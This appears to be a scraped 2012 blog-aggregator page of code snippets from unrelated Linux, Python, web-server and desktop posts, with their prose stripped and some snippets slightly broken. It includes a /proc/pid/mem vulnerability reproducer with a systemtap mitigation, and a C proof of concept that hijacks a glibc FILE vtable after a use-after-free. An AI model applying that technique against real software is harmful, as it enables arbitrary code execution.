Scribus 1.4.0 Released

January 27, 2012 · Cosimo Cecchi presents the updated Wacom settings

$ hud-list-applications

$ hud-dump-application /usr/share/applications/inkscape.desktop 

~/.cache/indicator-appmenu/hud-usage-log.sqlite
$ hud-cli

$ make correct_proc_mem_reproducer
...
$ ./correct_proc_mem_reproducer
vulnerable

# apt-get install -y systemtap linux-image-$(uname -r)-dbg

$ sudo apt-get install -y lsb-release
$ echo "deb http://ddebs.ubuntu.com/ $(lsb_release -cs) main restricted universe multiverse" | \
      sudo tee -a /etc/apt/sources.list.d/ddebs.list
$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
$ sudo apt-get update

sudo apt-get install -y systemtap linux-image-$(uname -r)-dbgsym

$ sudo apt-get install -y systemtap dpkg-dev
$ wget http://ddebs.ubuntu.com/pool/main/l/linux/$(dpkg -l linux-image-$(uname -r) | grep ^ii | awk '{print $2 "-dbgsym_" $3}' | tail -n1)_$(dpkg-architecture -qDEB_HOST_ARCH).ddeb
$ sudo dpkg -i linux-image-$(uname -r)-dbgsym.ddeb

$ cat > proc-pid-mem.stp <<'EOM'
probe kernel.function("mem_write@fs/proc/base.c").call {
        $count = 0
}
EOM
$ sudo stap -Fg proc-pid-mem.stp

$ ./correct_proc_mem_reproducer
not vulnerable

[Desktop Entry]
Encoding=UTF-8
Name=Set display gamma corrections
GenericName=Set display gamma corrections
Comment=Applies display gamma corrections at session startup
Exec=xgamma -rgamma 0.9 -ggamma 0.9 -bgamma 0.8
Terminal=false
Type=Application
Categories=
    "arduino.html",
    "img.html?pix/arduinos/arduino-clones.jpg",
    "getting_started.html",
    "img.html?pix/projects/led.jpg",
    //"blink.html",
    "arduino-ide.html",

qhtmlprint ` fgrep .html navigate.js  | grep -v // | sed -e 's/",/"/' -e 's/"//g' `

gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=slidedeck.pdf -dBATCH file*.pdf

from HTMLParser import HTMLParser

class MyFancyHTMLParser(HTMLParser):
  def fetch_url(self, url) :
    request = urllib2.Request(url)
    response = urllib2.urlopen(request)
    link = response.geturl()
    html = response.read()
    response.close()
    self.feed(html)   # feed() starts the HTMLParser parsing

  def handle_starttag(self, tag, attrs):
    if tag == 'img' :
      # attrs is a list of tuples, (attribute, value)
      srcindex = self.has_attr('src', attrs)
      if srcindex < 0 :
        return   # img with no src tag? skip it
      src = attrs[srcindex][1]
      # Make relative URLs absolute
      src = self.make_absolute(src)
      attrs[srcindex] = (attrs[srcindex][0], src)

    print '<' + tag
    for attr in attrs :
      print ' ' + attr[0]
      if len(attr) > 1 and type(attr[1]) == 'str' :
        # make sure attr[1] doesn't have any embedded double-quotes
        val = attr[1].replace('"', '\"')
        print '="' + val + '"')
    print '>'

  def handle_endtag(self, tag):
    self.outfile.write('</' + tag.encode(self.encoding) + '>\n')

  tree = lxml.html.fromstring(html)

for e in tree.iter() :
  print e.tag

def crawl_tree(tree) :
  handle_starttag(tree.tag, tree.attrib)
  if tree.text :
    handle_data(tree.text)
  for node in tree :
    crawl_tree(node)
  handle_endtag(tree.tag)

def crawl_tree(tree) :
  if type(tree.tag) is str :
    handle_starttag(tree.tag, tree.attrib)
    if tree.text :
      handle_data(tree.text)
    for node in tree :
      crawl_tree(node)
    handle_endtag(tree.tag)
  if tree.tail :
    handle_data(tree.tail)

mport gtk
primary = gtk.clipboard_get(gtk.gdk.SELECTION_PRIMARY)
if primary.wait_is_text_available() :
    print primary.wait_for_text()

#!/usr/bin/env python

import gtk
import re

primary = gtk.clipboard_get(gtk.gdk.SELECTION_PRIMARY)

if not primary.wait_is_text_available() :
    sys.exit(0)
s = primary.wait_for_text()

# eliminate newlines, and any spaces immediately following a newline:
print re.sub(r'[\r\n]+ *', '', s)

http://example.com/long-
    url.html

  <item label="open selection in Firefox">
    <action name="Execute"><execute>sh -c 'firefox `xclip -o`'</execute></action>
  </item>
  <item label="open selection in new tab">
    <action name="Execute"><execute>sh -c 'firefox -new-tab `xclip -o`'</execute></action>
  </item>

      <mousebind button="Middle" action="Press">
        <action name="Execute">
          <execute>sh -c 'firefox `pyclip`'</execute>
        </action>
      </mousebind>
      <mousebind button="C-Middle" action="Press">
        <action name="Execute">
          <execute>sh -c -new-tab 'firefox `pyclip`'</execute>
        </action>
      </mousebind>

import ephem
observer = ephem.city('San Francisco')
sun = ephem.Sun()
sun.compute(observer)
print sun.alt, sun.az

observer = ephem.Observer()
observer.name = "San Jose"
observer.lon = '-121:56.8'
observer.lat = '37:15.55'

    for m in range(1, 13) :
        observer.date('2011/%d/15 12:00' % (m))
        sun.compute(observer)

    # Y scale is 45 degrees (PI/2), horizon to halfway to zenith:
    y = int(self.height - float(self.sun.alt) * self.height / math.pi)
    # So make X scale 45 degrees too, centered around due south.
    # Want az = PI to come out at x = width/2.
    x = int(float(self.sun.az) * self.width / math.pi / 2)
    # print self.sun.az, float(self.sun.az), float(self.sun.alt), x, y
    self.drawing_area.window.draw_arc(self.xgc, True, x, y, 4, 4, 0, 23040)

    date = '2011/%d/12 12:00' % (m)
    adjtime = ephem.date(ephem.date(date) \
                    - float(self.observer.lon) * 12 / math.pi * ephem.hour)
    observer.date = adjtime

var everyone = require("now").initialize(server, { socketio: {'transports': ['xhr-polling'] }} );

// publish meme
everyone.now.publish = function(meme) {
    if(meme.name && meme.text.line1 && meme.text.line2) {
        db.collection('memes', function(err, collection) {
            // add a date field and save
            meme.date = Date.now();
            collection.insert(meme, function(err) {
                if(!err)
                    everyone.now.receiveMeme(meme);
            });
        });
    }
};

// retrieve the latest few memes of a name. If there is no name, retrieve a mixture
everyone.now.getRecent = function(memeName) {
    var client = this;
    console.log("retrieving");
    db.collection('memes', function(err, collection) {
        if(memeName == undefined) {
            collection.find( {}, { sort: [[ "date", "desc" ]], limit: 25 }).toArray( function(err, docs) {
                client.now.getContent(docs);
            });
        }
        else {
            collection.find( {"name": memeName}, { sort: [[ "date", "desc" ]], limit: 25 }).toArray( function(err, docs) {
                client.now.getContent(docs);
            });
        }
    });
};

#include <stdio.h>
#include <stdlib.h>

void pwn(void)
{
    printf("Dave, my mind is going.\n");
    fflush(stdout);
}

void * funcs[] = {
    NULL, // "extra word"
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    pwn,  // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue
};

int main(int argc, char * argv[])
{
    FILE *fp;
    unsigned char *str;

    printf("sizeof(FILE): 0x%x\n", sizeof(FILE));

    /* Allocate and free enough for a FILE plus a pointer. */
    str = malloc(sizeof(FILE) + sizeof(void *));
    printf("freeing %p\n", str);
    free(str);

    /* Open a file, observe it ended up at previous location. */
    if (!(fp = fopen("/dev/null", "r"))) {
        perror("fopen");
        return 1;
    }
    printf("FILE got %p\n", fp);
    printf("_IO_jump_t @ %p is 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Overwrite vtable pointer. */
    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
    printf("_IO_jump_t @ %p now 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Trigger call to pwn(). */
    fclose(fp);

    return 0;
}

$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0xf7796aa0
_IO_jump_t @ 0x984609c now 0x0804a060
Dave, my mind is going.

$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0x3a4125f8
_IO_jump_t @ 0x984609c now 0x0804a060
Segmentation fault

>>> ephem.next_solstice('2011/8/1')
2011/12/22 05:29:52

ephem.date(ephem.next_solstice('2011/8/1') - 8./24)
2011/12/21 21:29:52

>>> import ephem
>>> observer = ephem.city("San Francisco")
>>> sun = ephem.Sun()
>>> for i in range(20,25) :
...   d = '2011/12/%i 20:00' % i
...   print d, (observer.next_setting(sun, d) - observer.previous_rising(sun, d)) * 24
2011/12/20 20:00 9.56007901422
2011/12/21 20:00 9.55920379754
2011/12/22 20:00 9.55932991847
2011/12/23 20:00 9.56045709446
2011/12/24 20:00 9.56258416496

run proc { |env|
  [301, {"Location" => "http://mydomain.tld/",
         "Content-Type" => "text/plain"},
        ["http://mydomain.tld/"]]
}
require 'uri'
CORRECTIONS = {
  'www.mydomain.tld' => 'mydomain.tld'
}
run proc { |env|
  scheme = env['rack.url_scheme']

  host = env['HTTP_HOST'] || env['SERVER_NAME']
  real_host = CORRECTIONS[host]
  if not real_host
    return [404, {"Content-Type" => "text/plain"},
                 ["No correction for host #{host}\n"]]
  end

  path = URI.escape(env['SCRIPT_NAME']) +
         URI.escape(env['PATH_INFO'])

  query = env['QUERY_STRING']
  query = "?#{query}" if query and not query.empty?

  real_url = "#{scheme}://#{real_host}#{path}#{query}"

  headers = {"Location" => real_url,
             "Content-Type" => "text/plain"}
  if env['REQUEST_METHOD'] == 'HEAD'
    body = []
  else
    body = [real_url]
  end

  [301, headers, body]
}
.../path/to/images/$int1/$int2/foo.jpg

.../path/to/images/0/1/purple.jpg
.../path/to/images/0/700/blue.jpg
.../path/to/images/0/1023/orange.jpg
.../path/to/images/2/20470/guava.jpg
.../path/to/images/15/150730/che.jpg

https://banu.com/shop/25/greek-myths/images/978-81-250-3947-1.jpg

https://banu.com/some/path/to/images/0/25/978-81-7371-382-8.jpg

#include <stdlib.h>
#include <apr_strings.h>
#include <httpd.h>
#include <http_protocol.h>
#include <http_config.h>
#include <http_core.h>
#include <http_log.h>

typedef char * (map_t) (request_rec *r, char *key);
APR_DECLARE_OPTIONAL_FN (void, ap_register_rewrite_mapfunc,
                         (char *name, map_t *func));

static char *
banu_product_id_map (request_rec *req,
                     char        *key)
{
  unsigned long d;

  d = atol (key);
  d /= 10000;

  return apr_ltoa (req->pool, d);
}

static int
pre_config (apr_pool_t *pool,
            apr_pool_t *plog,
            apr_pool_t *ptemp)
{
  APR_OPTIONAL_FN_TYPE (ap_register_rewrite_mapfunc) *fn;

  fn = APR_RETRIEVE_OPTIONAL_FN (ap_register_rewrite_mapfunc);
  if (!fn) {
    ap_log_error (APLOG_MARK, APLOG_CRIT, 0, 0,
                  "mod_banu: Error registering map function");
    return HTTP_INTERNAL_SERVER_ERROR;
  }

  fn ("banu_product_id_map", banu_product_id_map);

  return OK;
}

static void
banu_hooks (apr_pool_t *pool)
{
  static const char * const pre_modules[] = {
    "mod_rewrite.c",
    NULL
  };

  ap_hook_pre_config (pre_config, pre_modules, NULL, APR_HOOK_MIDDLE);
}

module AP_MODULE_DECLARE_DATA banu_module = {
  STANDARD20_MODULE_STUFF,
  NULL,
  NULL,
  NULL,
  NULL,
  NULL,
  banu_hooks
};

apxs -ci mod_banu.c

LoadModule banu_module modules/mod_banu.so

RewriteMap bm int:banu_product_id_map
RewriteRule ^/shop/([0-9]+)/([0-9a-zA-Z\.\_\-]+)/images/(.*)$ \
            /static/shop/products/${bm:$1}/$1/images/$3       \
            [last,passthrough]

Traceback (innermost last):
  Module ZPublisher.Publish, line 126, in publish
  Module ZPublisher.mapply, line 77, in mapply
  Module ZPublisher.Publish, line 46, in call_object
  Module Products.CMFQuickInstallerTool.QuickInstallerTool, line 575, in installProducts
  Module Products.CMFQuickInstallerTool.QuickInstallerTool, line 512, in installProduct
   - __traceback_info__: ('my.skin',)
  Module Products.GenericSetup.tool, line 323, in runAllImportStepsFromProfile
   - __traceback_info__: profile-my.skin:default
  Module Products.GenericSetup.tool, line 1080, in _runImportStepsFromContext
  Module Products.GenericSetup.tool, line 994, in _doRunImportStep
   - __traceback_info__: plone.app.theming
  Module plone.app.theming.exportimport.handler, line 40, in importTheme
  Module plone.app.theming.utils, line 427, in applyTheme
  Module plone.registry.recordsproxy, line 43, in __setattr__
AttributeError: currentTheme
<STMTTRN>
   <TRNTYPE>DEBIT
   <DTPOSTED>20111125000000[-5:EST]
   <TRNAMT>-22.71
   <FITID>****

   <NAME>SOME    COMPANY
   <MEMO>SOME COMPANY    ANY TOWN   CA 11-25-11 330346
</STMTTRN>

sed '/\(NAME\|MEMO\)/s/\([ >][A-Z]\)\([A-Z]*\)/\1\L\2/g'

  <interface name='org.freedesktop.FileManager1'>
    <method name='ShowFolders'>
      <arg type='as' name='URIs' direction='in'/>
      <arg type='s' name='StartupId' direction='in'/>
    </method>
    <method name='ShowItems'>
      <arg type='as' name='URIs' direction='in'/>
      <arg type='s' name='StartupId' direction='in'/>
    </method>
    <method name='ShowItemProperties'>
      <arg type='as' name='URIs' direction='in'/>
      <arg type='s' name='StartupId' direction='in'/>
    </method>
  </interface>

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Mailing list	Fedora infrastructure list

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January 27, 2012

Hacking the transmitter

Simulating button presses

The software side

January 25, 2012

January 24, 2012

Getting the data

Matching the label

Remembering Favorites

Application initial bias

Development notes

January 23, 2012

January 22, 2012

two minutes of fame

so…great

UI modelling

activity centre

back to the future

the holy trinity

pagan practices

reformation

more blessings

behind the mask

in triplicate

weird science

send in the clones

two more things

aftermath

not my problem

January 21, 2012

January 19, 2012

January 18, 2012

January 17, 2012

Printing from QtWebView to QPrinter

Printing the slides in the right order

Creating a multi-page slide deck

January 16, 2012

The story up ’till now

Fedora Packages

Some new goodies: Patch Viewer and Contents Viewer

Optimized search via playing games: Fedora Tagger

Where we go from here

Summary & Where the Action is At

Fedora Packages

Fedora Tagger

Oh, what about that weird radioactive panda post?

January 15, 2012

January 14, 2012

January 13, 2012

Your mission!

January 12, 2012

January 11, 2012

January 10, 2012

January 09, 2012

January 08, 2012

The bad news about HTMLParser

Using lxml.html

January 07, 2012

January 06, 2012

January 05, 2012

January 04, 2012

January 03, 2012

January 02, 2012

January 01, 2012

Scribus 1.4.0 Released

Important Information

Primary Download Location

Download Verification

Credits

About Scribus

December 31, 2011

December 30, 2011

Calculating analemmas in PyEphem

Time is always a problem

December 29, 2011

Some Code

How it works

How to run

Things to do

December 28, 2011